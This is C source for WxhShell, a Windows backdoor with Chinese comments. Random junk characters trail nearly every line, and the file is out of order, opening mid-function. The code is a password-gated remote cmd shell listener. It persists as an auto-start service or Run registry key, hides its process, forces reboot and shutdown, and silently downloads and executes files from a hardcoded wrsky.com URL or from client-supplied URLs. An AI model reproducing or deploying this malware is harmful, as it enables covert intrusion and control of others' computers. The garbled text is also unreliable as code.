    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _b"K,[0o  
    else { $*+IsP!  
    closesocket(wsh); R3|r` ~@@  
    ExitThread(0); wl/1~!  
    } %:}o\ _w  
    break; 3 =-V!E  
    } r (KAG"5  
  // 获取shell g[Q+DT  
  case 's': { e!=~f%c<N  
    CmdShell(wsh); <O0.q.  
    closesocket(wsh); I=2b)"t0  
    ExitThread(0); $pJw p{kN  
    break; t.Yf8Gy  
  } (v}4,'dS  
  // 退出 i]15g@  
  case 'x': { _=_<cg y1u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); txik{' :  
    CloseIt(wsh); i:60|ngK  
    break; .$]-::&  
    } 5m2f\^U  
  // 离开 j;BlpRD}  
  case 'q': { 2EiE5@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "1Y'VpKm(~  
    closesocket(wsh); yT-qT_.  
    WSACleanup(); 4'5|YGQj  
    exit(1); ^Lv )){t  
    break; w:+&i|H>  
        } d_ 7hh  
  } IictX"3lh  
  } ,c,@WQ2:-  
PiN^/#D  
  // 提示信息 u N4e n,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]d~2WX Y  
} 89x;~D1  
  } G%ZP `  
G|YNShK4=9  
  return; |:]} u|O  
} m5v IS  
;;|.qgxc~  
// shell模块句柄 4L_)@n}  
int CmdShell(SOCKET sock) zbI|3  
{ ZeqsXz  
STARTUPINFO si; e2yCWolmTS  
ZeroMemory(&si,sizeof(si)); :gn&wi  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  {H*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :$*@S=8O  
PROCESS_INFORMATION ProcessInfo; NfWL3"&X  
char cmdline[]="cmd"; bTt1yO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); HR ;I}J 9  
  return 0; G#fF("Ndu`  
} jyB Ys& v  
DTlId~Dyq  
// 自身启动模式 d ehK#8  
int StartFromService(void) !Df>Q5~g  
{ .C` YO2,  
typedef struct zpjE_|  
{ ]$=#:uf  
  DWORD ExitStatus; OT0IGsJ"'  
  DWORD PebBaseAddress; Iz[ohn!f  
  DWORD AffinityMask; 6{quO# !  
  DWORD BasePriority; ~dk97Z8  
  ULONG UniqueProcessId; qOy0QZ#0  
  ULONG InheritedFromUniqueProcessId; [ eb k u_  
}   PROCESS_BASIC_INFORMATION; pI_dV44W  
L{rd',  
PROCNTQSIP NtQueryInformationProcess; W{c Z7$d  
GVhy }0|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )<lQJ#L86a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bct8~dY  
,m8mh)K?0>  
  HANDLE             hProcess; (vp#?-i  
  PROCESS_BASIC_INFORMATION pbi; /+1(,S  
p|?FA@ 3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [+_>g4M~%  
  if(NULL == hInst ) return 0; 4fL`.n1^  
g^^pPV K_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); VVDW=G  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5M/~ |"xk  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dI|D c  
jweX"G54R  
  if (!NtQueryInformationProcess) return 0; rsq?4+\  
ac\([F-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Gt+rVJ=v  
  if(!hProcess) return 0; 53 -O wjpx  
)KEW`BC5T  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >7PNl\=gG  
K?Sy ?Kz  
  CloseHandle(hProcess); dyk(/# *7W  
)N*Jc @Y@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Mo5b @ [  
if(hProcess==NULL) return 0; }m'n1tm;  
f!{@{\  
HMODULE hMod; Ch\__t*v!  
char procName[255]; " :f]egq -  
unsigned long cbNeeded; S+#|j  
{xH?b0>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~Hu!iZ2]  
]T'7+5w  
  CloseHandle(hProcess); T2 S fBs  
VFzIBgJ3  
if(strstr(procName,"services")) return 1; // 以服务启动 I]DD5l}\  
g+5c"Yk+u~  
  return 0; // 注册表启动 LM+d3|gSV  
} C}(@cn `L  
<# RVA{  
// 主模块 Vn_~ |-Wt  
int StartWxhshell(LPSTR lpCmdLine) Kk*8  
{ i(_A;TT6  
  SOCKET wsl; #wo *2 (  
BOOL val=TRUE; \h_q]  
  int port=0; x H&hs$=  
  struct sockaddr_in door; wJNm}Wf  
!-.GfI:q  
  if(wscfg.ws_autoins) Install(); =~k c7f{  
G[`1Yw$  
port=atoi(lpCmdLine); Mc <u?H  
& +*OV:[;  
if(port<=0) port=wscfg.ws_port; X^Z!!KTH  
![ sXR  
  WSADATA data; wYg!H>5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6JDaZh"=K  
n_3 R Q6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   JXM]tV  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hHGuD2%  
  door.sin_family = AF_INET; DY9]$h*y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]8}51y8  
  door.sin_port = htons(port); yu)^s!UY;  
AYgXqmH~+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { u*TC8!n  
closesocket(wsl); B\v+C!/f |  
return 1; Xl$, f`f~  
} D}q"^"#T  
'3Lu_]I-  
  if(listen(wsl,2) == INVALID_SOCKET) { OQ7 `n<I<)  
closesocket(wsl); .w;kB}$YC  
return 1; -^546 7  
} K)BQ0v.:[  
  Wxhshell(wsl); 0/b  _T  
  WSACleanup(); h%krA<G9  
o6d x\  
return 0; t* =[RS*  
ATl?./Tu  
} _$ivN!k  
xH xTL>,?  
// 以NT服务方式启动 ~Ix2O   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'gvR?[!t  
{ X!p`|i  
DWORD   status = 0; G$>QH-p  
  DWORD   specificError = 0xfffffff; XTo7fbW*  
 }:Gs ,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; sVK?sBs]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o`,~#P|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; IQRuqp KL  
  serviceStatus.dwWin32ExitCode     = 0; qyv=ot0"~F  
  serviceStatus.dwServiceSpecificExitCode = 0; dF\#:[B  
  serviceStatus.dwCheckPoint       = 0; V`1,s~"q  
  serviceStatus.dwWaitHint       = 0; pL5cw=  
TK fN`6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *y!O\-\S#>  
  if (hServiceStatusHandle==0) return; })H d]a  
!: ^q_q4  
status = GetLastError(); %'yrIR  
  if (status!=NO_ERROR) <;6{R#Tuh  
{ {]< G=]'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8o$rF7.-  
    serviceStatus.dwCheckPoint       = 0; eHuJFM  
    serviceStatus.dwWaitHint       = 0; Bchv1KF  
    serviceStatus.dwWin32ExitCode     = status; I I+y  
    serviceStatus.dwServiceSpecificExitCode = specificError; Lr:Qc#2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?: yz/9(  
    return; {aUnOyX_  
  } [mA-sl]  
A^>@6d $2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3R3H+W0{  
  serviceStatus.dwCheckPoint       = 0; ~w+I2oS$  
  serviceStatus.dwWaitHint       = 0; G aV&y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <qwf"Ey  
} N2v/<  
wSN9`"  
// 处理NT服务事件,比如:启动、停止 m$fEk,d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (-21h0N[V  
{ .9r YBy  
switch(fdwControl) sD:o 2(G*  
{ U X@%1W!8  
case SERVICE_CONTROL_STOP: Lwr's'ao.  
  serviceStatus.dwWin32ExitCode = 0; ~v+kO~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  u]P|  
  serviceStatus.dwCheckPoint   = 0; Uj):}xgi'  
  serviceStatus.dwWaitHint     = 0; l1)~WqhE}  
  {  X0VS a{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >u?.gJm~  
  } OG/b5U  
  return; At'CT5=  
case SERVICE_CONTROL_PAUSE: DB5J3r81  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; iT>u&0B-  
  break; R}ki%i5|  
case SERVICE_CONTROL_CONTINUE: x b"z%.j  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  :\\NK/"  
  break; :&IHdf0+  
case SERVICE_CONTROL_INTERROGATE: jYHnJ}<  
  break; Dfs*~H 63  
}; s-$ Wc) l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vr1}Zv3K'  
} D\acA?d`  
{^WK#$]  
// 标准应用程序主函数 @>)VQf8s1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -&Z!b!jN  
{ w+g29  
y9r4]45  
// 获取操作系统版本 >}+{;d  
OsIsNt=GetOsVer(); fg^AEn1i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #ibwD:{  
fp)SZu_*  
  // 从命令行安装  g2vm]j  
  if(strpbrk(lpCmdLine,"iI")) Install();  U?*zb  
3~~X,ZL  
  // 下载执行文件 Mg;pNK\n  
if(wscfg.ws_downexe) { Vu:ZG*^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q$E.G63Wl  
  WinExec(wscfg.ws_filenam,SW_HIDE); u?=mh`  
} hdPGqJE  
%Mda<3P  
if(!OsIsNt) { (S~kyU!)0  
// 如果时win9x,隐藏进程并且设置为注册表启动 cx\E40WD  
HideProc(); r&{8/ 5 "  
StartWxhshell(lpCmdLine); nTeA=0 4  
} @d WA1tM  
else DYf QlA  
  if(StartFromService()) :_8K8Sa  
  // 以服务方式启动 g3:@90Ba  
  StartServiceCtrlDispatcher(DispatchTable); GV0\+A"vD  
else |+Y-i4t  
  // 普通方式启动 _:r8UVAT.  
  StartWxhshell(lpCmdLine); ,:?ibE=  
f%]@e9dD  
return 0; hX.cdt_?  
} uf6egm5 ]  
_3`G ZeGV  
%;[DMc/  
*k{Llq  
=========================================== h`&TDB2  
Kxsd@^E  
MntmBj-T  
SZWNN#w60?  
oGcgd$%ZB  
_Xf1FzF+a  
" Y&6jFT_  
N[_T3(  
#include <stdio.h> 7{#p'.nc5  
#include <string.h> @]Jq28  
#include <windows.h> q8{Bx03m6  
#include <winsock2.h> imM!Me 0TE  
#include <winsvc.h> Z",0 $Gxu  
#include <urlmon.h> 1=5"j]0hY  
+^AdD8U  
#pragma comment (lib, "Ws2_32.lib") opfnIkCe  
#pragma comment (lib, "urlmon.lib") /TMVPnvz.  
'V&g"Pb  
#define MAX_USER   100 // 最大客户端连接数 q[U pP`Z%  
#define BUF_SOCK   200 // sock buffer v;(cJ,l  
#define KEY_BUFF   255 // 输入 buffer V IzIl\<aM  
C*YQ{Mz(f  
#define REBOOT     0   // 重启 T"g_a|7Tj  
#define SHUTDOWN   1   // 关机 +6WjOcu  
dn h qg3Y  
#define DEF_PORT   5000 // 监听端口 .\b.l@O<Z  
NS[Z@@  
#define REG_LEN     16   // 注册表键长度 7!M; ?Y  
#define SVC_LEN     80   // NT服务名长度 gq('8*S  
?p{ -Yp*h  
// 从dll定义API OLG)D#m(4/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rmjuNy=(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =oSD)z1c?x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,a5q62)q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4Wl`hF  
ozOc6  
// wxhshell配置信息 so` \e^d  
struct WSCFG { (Yy#:r;U  
  int ws_port;         // 监听端口 qsj$u-xhX  
  char ws_passstr[REG_LEN]; // 口令  L` [iI  
  int ws_autoins;       // 安装标记, 1=yes 0=no upMs yLp(  
  char ws_regname[REG_LEN]; // 注册表键名 Y1 Ql_  
  char ws_svcname[REG_LEN]; // 服务名 {MtJP:8Jp  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r*{.|>me  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7{r7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~BI`{/O=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 94!} Z>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /[/L%;a'p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #'/rFT4{v  
=ls+vH40&  
}; }0&Fu?sP  
ub?dfS9$_  
// default Wxhshell configuration mU[\//  
struct WSCFG wscfg={DEF_PORT, ~=yU%5 s@  
    "xuhuanlingzhe", f#c}}>V8  
    1, 6GuTd  
    "Wxhshell", @.L#u#   
    "Wxhshell", ^C K!=oO  
            "WxhShell Service", |21V OPBS  
    "Wrsky Windows CmdShell Service", $}4ao2  
    "Please Input Your Password: ", X}GX6qAdt  
  1, rw)!>j+&A  
  "http://www.wrsky.com/wxhshell.exe", Eq_@ xT0>  
  "Wxhshell.exe" 24od74\  
    }; Af\@J6viF7  
",~ZO<P  
// 消息定义模块 $bhI2%_`M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z^wod  
char *msg_ws_prompt="\n\r? for help\n\r#>"; p4uzw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n{W(8K6d@[  
char *msg_ws_ext="\n\rExit."; ,L%]}8EL"  
char *msg_ws_end="\n\rQuit."; M[985bl  
char *msg_ws_boot="\n\rReboot..."; c6jVx_tt.  
char *msg_ws_poff="\n\rShutdown..."; Wt%Wpb8  
char *msg_ws_down="\n\rSave to "; /\,3AInLb  
7jw+o*;  
char *msg_ws_err="\n\rErr!"; blomB2vQ  
char *msg_ws_ok="\n\rOK!"; o5]-Kuw`  
ea{zL  
char ExeFile[MAX_PATH]; ]R~hzo  
int nUser = 0; {JdXn  
HANDLE handles[MAX_USER]; +/_XSo  
int OsIsNt; 1TEKq#t;y  
 }se3y  
SERVICE_STATUS       serviceStatus; I`+,I`~u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "uplk8iCJ  
#y&5pP:@  
// 函数声明 y /vc\e  
int Install(void); otaRA  
int Uninstall(void); ;~1xhpTk  
int DownloadFile(char *sURL, SOCKET wsh); w.rcYywI  
int Boot(int flag); Swf%WuDj  
void HideProc(void); (<.\v@7HC  
int GetOsVer(void); 8yIBx%"4MH  
int Wxhshell(SOCKET wsl); W2`3PEa  
void TalkWithClient(void *cs); F(j;|okf;  
int CmdShell(SOCKET sock); $J4)z&%dr  
int StartFromService(void); [kkhVi5;A  
int StartWxhshell(LPSTR lpCmdLine); a?ete9Q+  
X+{brvM<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C6gp}%  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  zv"NbN  
SWtqp(h]'  
// 数据结构和表定义 C`ZU.|R  
SERVICE_TABLE_ENTRY DispatchTable[] = OGW3Pe0Z'  
{ o]I8Ghk>/z  
{wscfg.ws_svcname, NTServiceMain}, Z6b]EcP)#  
{NULL, NULL} D\;5{,:d  
}; }x#e.}hf&  
JS03B Itt  
// 自我安装 ?}KD<R  
int Install(void) J>M9t%f@  
{ \>9^(N  
  char svExeFile[MAX_PATH]; P@bPdw!JA  
  HKEY key; 3{qB<*!p"G  
  strcpy(svExeFile,ExeFile); h}tC +_"D  
{ZdF6~+H(!  
// 如果是win9x系统,修改注册表设为自启动 R:l&2  
if(!OsIsNt) { \ (`2@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y9-F\t=~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e1b?TF@lz  
  RegCloseKey(key); yFd.tQs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }T PyHq"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {\k }:)  
  RegCloseKey(key); B&7:=t,m(  
  return 0; w)&4i$Lk6  
    } eU)QoVt  
  } G]$EIf'  
} 6pb~+=3n  
else { $KT)Kz8tF  
)zy ;!  
// 如果是NT以上系统,安装为系统服务 <l!:#u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "Uf1;;b  
if (schSCManager!=0) /V cbT >=  
{ Jza ?DhSAZ  
  SC_HANDLE schService = CreateService @+nCNXK  
  ( ]H{* Z3S  
  schSCManager, O46v  
  wscfg.ws_svcname, 0s Jp,4Vv  
  wscfg.ws_svcdisp, } tBw<7fe  
  SERVICE_ALL_ACCESS, V^!^wLLi  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [jCYj0Qf8  
  SERVICE_AUTO_START, ;K7kBp\d  
  SERVICE_ERROR_NORMAL, ' -9=>  
  svExeFile, _Wk*h}x  
  NULL, F+NX [  
  NULL, L%3Bp/`S  
  NULL, #Muh|P]%\  
  NULL, y$di_)&g  
  NULL g'w"U9tjO  
  ); /kw;q{>?o  
  if (schService!=0) p(="73  
  { k;JDVRL  
  CloseServiceHandle(schService); Gj%q:[r  
  CloseServiceHandle(schSCManager); Zl'/Mx g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \M|:EG%  
  strcat(svExeFile,wscfg.ws_svcname); _ iDVd2X"H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { R i,_x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); oa=TlBk<  
  RegCloseKey(key); *_J{_7pwe  
  return 0; >z/.8!#Q  
    } /ece}7M  
  } IG\Cj7{K^  
  CloseServiceHandle(schSCManager); VR1[-OE  
} ? F!c"+C  
} &w`DF,k|  
4M]l~9;A  
return 1; Z'uiU e`&  
} A)j!Wgs^z  
 ~H   
// 自我卸载 2A";o E  
int Uninstall(void) G;W2Z,  
{ Z]tQmV8e  
  HKEY key; XHdhSFpm  
f[R~oc5P0  
if(!OsIsNt) { Bxw(pACf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Dm}M8`|X  
  RegDeleteValue(key,wscfg.ws_regname); zkqn>  
  RegCloseKey(key); F#) bGi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~#P]NWW%.  
  RegDeleteValue(key,wscfg.ws_regname); _Yp~Oj  
  RegCloseKey(key); ^A=tk!C  
  return 0; hosY`"X  
  } ]jiVe_ OS<  
}  f}*:wj  
} ]a uqf  
else { l\Ww^   
XR[=W(m}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I S'Uuuz7g  
if (schSCManager!=0) Ol h{<~Fv  
{ .L;e:cvx  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @OFxnF`  
  if (schService!=0) { J/Fp#  
  { b5Q>e%i#  
  if(DeleteService(schService)!=0) { /NiD#s0t  
  CloseServiceHandle(schService); %QGw`E   
  CloseServiceHandle(schSCManager); Fsx<Sa  
  return 0; uM,Ps}  
  } E,K>V:P*  
  CloseServiceHandle(schService); eV(9I v[  
  } uifVSf*  
  CloseServiceHandle(schSCManager); ,LSiQmV5  
} >mR8@kob<  
} L@zhbWY  
E]m?R 4  
return 1; aHYISjZ]>  
} `F&~SU,  
u,d5/`E  
// 从指定url下载文件 )u=W?5%=}  
int DownloadFile(char *sURL, SOCKET wsh) y:Of~ ]9@  
{ Z_S{$D  
  HRESULT hr; Gky^S#  
char seps[]= "/"; nu~]9~)I  
char *token; :-Py0{s  
char *file; dVHbIx  
char myURL[MAX_PATH]; cL03V?} ~  
char myFILE[MAX_PATH]; rMZuiRz*  
9^8OIv?m8  
strcpy(myURL,sURL); ]b sabS?  
  token=strtok(myURL,seps); mK"s*tD  
  while(token!=NULL) dkCU U  
  { '6>*J  
    file=token; <LXx_{=:  
  token=strtok(NULL,seps); SZ$WC8AX  
  } v3XM-+Z4  
10c.#9$  
GetCurrentDirectory(MAX_PATH,myFILE); ,5ZQPICF  
strcat(myFILE, "\\"); =8<~pr-NO  
strcat(myFILE, file); r;[=y<Yf  
  send(wsh,myFILE,strlen(myFILE),0); #)]t4wa_W  
send(wsh,"...",3,0); ybJwFZ80  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t:vBVDkD  
  if(hr==S_OK) > l0H)W  
return 0; #qDm)zCM  
else $of2lA  
return 1; gM=:80  
m9i/rK_  
} #C?M-  
sO 6=w%l^  
// 系统电源模块 yrfV&C%=n  
int Boot(int flag) S >CKm:7  
{ 6},[HpXRc4  
  HANDLE hToken; |m ?ZE:  
  TOKEN_PRIVILEGES tkp; ^w.]1x  
G\;6n  
  if(OsIsNt) { NY^0$h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,J!$Q0e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /"u37f?[^  
    tkp.PrivilegeCount = 1; kC 6*An_f  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ykPiZK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hEsi AbTyF  
if(flag==REBOOT) { C}Kl!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +FqE fY4j  
  return 0; ,#&7+e!]>P  
} 5Lej_uqF   
else { 51#OlvD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  +)e|>  
  return 0; (?JdiY/  
} bDtb6hL  
  } fC*cqc~{@  
  else { S**eI<QFSk  
if(flag==REBOOT) { @v#P u_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b7Zo~ Z  
  return 0; :Ez, GAk  
} "z3rH~q72  
else { !%('8-x%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zB`woI28  
  return 0; ?&~q^t?u  
} xSK#ovH2  
} flFdoEV.U)  
d,JDfG)  
return 1; %>i:C-l8  
} *pS 7,Hm  
PMB4]p%o  
// win9x进程隐藏模块 Uza '%R  
void HideProc(void) :Z6j5V;s  
{ >5L_t   
~qGW9 4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9N}\>L)_  
  if ( hKernel != NULL ) @y`xFPB  
  { G`>]ng  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `a|&aj0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !.$L=>:V  
    FreeLibrary(hKernel); A&~fw^HM  
  } TxP +?1t  
^sLx3a  
return; Y6 sX|~Zy  
} 8iJB'#''*  
x}?<9(nE c  
// 获取操作系统版本  xV5UaD<  
int GetOsVer(void) y3s+.5;  
{ IyyBW2  
  OSVERSIONINFO winfo; p,$N-22a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `**{a/3  
  GetVersionEx(&winfo); <c pck  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X(nyTR8  
  return 1; )&7. E  
  else ^Q$OzsEk  
  return 0; ~RuX2u-2&u  
} Q[7i  
#[lhem]IC  
// 客户端句柄模块 Wa<<"x$  
int Wxhshell(SOCKET wsl) >dt*^}*  
{ Ms(xQ[#+  
  SOCKET wsh; `<X-3)>;G  
  struct sockaddr_in client; !sm/BsmL7T  
  DWORD myID; J}X{8Ds9  
FHSoj=  
  while(nUser<MAX_USER) V<0iYi;4=  
{ CPP~,E_  
  int nSize=sizeof(client); IFX$\+-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0Lxz?R x]<  
  if(wsh==INVALID_SOCKET) return 1; 8v& \F  
=W.}&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qMNW w\k  
if(handles[nUser]==0) x^ f)I|t  
  closesocket(wsh); #lP8/-s^  
else GYaP"3Lu  
  nUser++;  XTJD>  
  } |0y#} |/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8I#ir4z#<  
:/;/mHG]  
  return 0; EE!}$qOR  
} FI$:R  
'RK"/ZhqE  
// 关闭 socket MCT1ZZpPr  
void CloseIt(SOCKET wsh) Fr8GGN~/  
{ |HAJDhM,l  
closesocket(wsh); G:1'}RC :  
nUser--; XWp8[Cx s  
ExitThread(0); Iv6 q(c  
} /8h=6"  
^[tE^(|T  
// 客户端请求句柄 p?:5 U[KM  
void TalkWithClient(void *cs) 5:h[%3'bB  
{ Nujnm$!,Q  
=#b@7Yw:  
  SOCKET wsh=(SOCKET)cs; WKEb '^  
  char pwd[SVC_LEN]; dq[h:kYm  
  char cmd[KEY_BUFF]; \beO5]KS<  
char chr[1]; /9w>:i81  
int i,j; !LI<%P)  
)#}>,,S  
  while (nUser < MAX_USER) { RwWg:4   
8vY-bm,e  
if(wscfg.ws_passstr) { senK (kbc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @LKQ-<dZG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PLyity-L[7  
  //ZeroMemory(pwd,KEY_BUFF); \n) ',4mY  
      i=0; 9B: 3Ha=  
  while(i<SVC_LEN) { DZ8|20b  
i<m(neX[H  
  // 设置超时 Pd*[i7zhC  
  fd_set FdRead; I0)`tQ +  
  struct timeval TimeOut; rVYoxXv  
  FD_ZERO(&FdRead); L_8zZ8 o  
  FD_SET(wsh,&FdRead); $7S"4rou  
  TimeOut.tv_sec=8; B[t^u\Fk  
  TimeOut.tv_usec=0; S\e&xUA;|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9t"Rw ns  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?['!0PF  
 }vd*eexA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %a;#]d  
  pwd=chr[0]; RdTM5ANT  
  if(chr[0]==0xd || chr[0]==0xa) { =Ph8&l7~sp  
  pwd=0; ut{T:kT  
  break; XIHN6aQ{X  
  } |p11Jt[  
  i++; -Aj)<KNx[  
    } $cCC 1=dW  
[. 5m}V  
  // 如果是非法用户,关闭 socket T # \  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~&?bU]F  
} Ey46JO"  
c3A\~tHW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }htjT/Nm  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0lfK} a  
>H2`4]4]  
while(1) { vT'Bs;QR  
Aw o)a8e  
  ZeroMemory(cmd,KEY_BUFF); (yOkf-e2y  
1o_kY"D<  
      // 自动支持客户端 telnet标准   0+1wi4wy/  
  j=0; 1uw#;3<L  
  while(j<KEY_BUFF) { E9HMhUe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); > VG  
  cmd[j]=chr[0]; ~GaGDS\V  
  if(chr[0]==0xa || chr[0]==0xd) { AZtS4]4G)  
  cmd[j]=0; a|aVc'j  
  break; tZrc4$D-  
  } kNEEu! G  
  j++; [I $+wWW_  
    } C|(A/b  
nV;'UpQw  
  // 下载文件 RgE`Hr  
  if(strstr(cmd,"http://")) { \oQ]=dDCd%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); DDg\oGLp  
  if(DownloadFile(cmd,wsh)) *sho/[~_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Wonz<{'  
  else UkV?,P@l  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (C2 XFg_  
  } GP|=4T}Bf  
  else { h~MV=7 lE  
Y Y:Bw W:  
    switch(cmd[0]) { J~Xv R  
  ]$ew 5%  
